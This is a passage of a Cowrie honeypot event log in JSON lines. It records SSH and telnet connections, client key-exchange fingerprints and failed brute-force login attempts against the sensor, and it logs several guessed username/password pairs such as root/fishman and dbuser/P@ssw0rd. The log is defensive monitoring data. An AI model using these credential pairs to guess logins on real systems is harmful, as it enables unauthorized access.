iffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes256-cbc","aes128-gcm@openssh.com","aes128-ctr","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 713bd9cc935561939c02dad25af2d3de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:29.808485Z","src_ip":"102.88.137.80","session":"61dedc29c964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"light","password":"123456","message":"login attempt [light/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:30.571262Z","src_ip":"102.88.137.80","session":"61dedc29c964","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:31.756724Z","src_ip":"102.88.137.80","session":"61dedc29c964","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.50216627120972,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:49.447284Z","src_ip":"172.81.62.90","session":"4f423d4a8e96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.205","src_port":63060,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1b41f5eaf80","protocol":"telnet","message":"New connection: 66.132.172.205:63060 (10.17.0.5:23) [session: b1b41f5eaf80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:55.788852Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":36412,"dst_ip":"159.203.135.109","dst_port":22,"session":"64e08f9d9ab9","protocol":"ssh","message":"New connection: 103.122.221.179:36412 (159.203.135.109:22) [session: 64e08f9d9ab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:59.846177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:17:59.849903Z","src_ip":"103.122.221.179","session":"64e08f9d9ab9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:00.099408Z","src_ip":"103.122.221.179","session":"64e08f9d9ab9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fishman","message":"login attempt [root/fishman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:00.854893Z","src_ip":"103.122.221.179","session":"64e08f9d9ab9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:02.108696Z","src_ip":"103.122.221.179","session":"64e08f9d9ab9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":48332,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a70dcc1c953","protocol":"ssh","message":"New connection: 79.104.0.82:48332 (10.17.0.5:22) [session: 9a70dcc1c953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:10.360624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:10.367148Z","src_ip":"79.104.0.82","session":"9a70dcc1c953","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":60046,"dst_ip":"159.203.135.109","dst_port":22,"session":"b65165c4628c","protocol":"ssh","message":"New connection: 62.133.62.83:60046 (159.203.135.109:22) [session: b65165c4628c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:10.403581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:10.413817Z","src_ip":"62.133.62.83","session":"b65165c4628c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:10.493073Z","src_ip":"62.133.62.83","session":"b65165c4628c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:10.528528Z","src_ip":"79.104.0.82","session":"9a70dcc1c953","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"emerson","message":"login attempt [root/emerson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:10.734417Z","src_ip":"62.133.62.83","session":"b65165c4628c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hamburg","password":"hamburg123","message":"login attempt [hamburg/hamburg123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:11.192238Z","src_ip":"79.104.0.82","session":"9a70dcc1c953","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:11.816627Z","src_ip":"62.133.62.83","session":"b65165c4628c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.240474224090576,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:12.029191Z","src_ip":"66.132.172.205","session":"b1b41f5eaf80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:12.352763Z","src_ip":"79.104.0.82","session":"9a70dcc1c953","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.205","src_port":38338,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cccc358f80c","protocol":"telnet","message":"New connection: 66.132.172.205:38338 (10.17.0.5:23) [session: 7cccc358f80c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:15.312282Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":41944,"dst_ip":"159.203.135.109","dst_port":22,"session":"c42bbd7c3421","protocol":"ssh","message":"New connection: 101.47.159.125:41944 (159.203.135.109:22) [session: c42bbd7c3421]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:16.641152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:16.647687Z","src_ip":"101.47.159.125","session":"c42bbd7c3421","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:16.893274Z","src_ip":"101.47.159.125","session":"c42bbd7c3421","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":40756,"dst_ip":"10.17.0.5","dst_port":22,"session":"63283cccdef3","protocol":"ssh","message":"New connection: 189.203.163.10:40756 (10.17.0.5:22) [session: 63283cccdef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:17.509113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:17.514664Z","src_ip":"189.203.163.10","session":"63283cccdef3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:17.578878Z","src_ip":"189.203.163.10","session":"63283cccdef3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cnc","password":"cnc123","message":"login attempt [cnc/cnc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:17.866772Z","src_ip":"189.203.163.10","session":"63283cccdef3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbuser","password":"P@ssw0rd","message":"login attempt [dbuser/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:17.909104Z","src_ip":"101.47.159.125","session":"c42bbd7c3421","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.80","src_port":1141,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6a73ad571cf","protocol":"ssh","message":"New connection: 102.88.137.80:1141 (10.17.0.5:22) [session: a6a73ad571cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:18.602032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:18.606885Z","src_ip":"102.88.137.80","session":"a6a73ad571cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"713bd9cc935561939c02dad25af2d3de","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes256-cbc","aes128-gcm@openssh.com","aes128-ctr","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 713bd9cc935561939c02dad25af2d3de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:18.788492Z","src_ip":"102.88.137.80","session":"a6a73ad571cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.5723845958709717,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:18.884577Z","src_ip":"66.132.172.205","session":"7cccc358f80c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:18.934885Z","src_ip":"189.203.163.10","session":"63283cccdef3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:19.160994Z","src_ip":"101.47.159.125","session":"c42bbd7c3421","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"luke","password":"password","message":"login attempt [luke/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:19.554985Z","src_ip":"102.88.137.80","session":"a6a73ad571cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:20.740648Z","src_ip":"102.88.137.80","session":"a6a73ad571cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.205","src_port":38354,"dst_ip":"10.17.0.5","dst_port":23,"session":"af4c563588b3","protocol":"telnet","message":"New connection: 66.132.172.205:38354 (10.17.0.5:23) [session: af4c563588b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:22.398388Z"}
{"eventid":"cowrie.session.closed","duration":10.101663589477539,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:32.499958Z","src_ip":"66.132.172.205","session":"af4c563588b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":36842,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ef4a84b42c9","protocol":"ssh","message":"New connection: 160.251.185.39:36842 (10.17.0.5:22) [session: 6ef4a84b42c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:33.895257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:33.900817Z","src_ip":"160.251.185.39","session":"6ef4a84b42c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:34.080215Z","src_ip":"160.251.185.39","session":"6ef4a84b42c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samba","password":"samba","message":"login attempt [samba/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:34.830363Z","src_ip":"160.251.185.39","session":"6ef4a84b42c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:36.012415Z","src_ip":"160.251.185.39","session":"6ef4a84b42c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.168.240.63","src_port":58530,"dst_ip":"159.203.135.109","dst_port":22,"session":"337e51e7aa47","protocol":"ssh","message":"New connection: 217.168.240.63:58530 (159.203.135.109:22) [session: 337e51e7aa47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:39.609988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:18:39.614969Z","src_ip":"217.168.240.63","session":"337e51e7aa47","protocol":"ssh"}
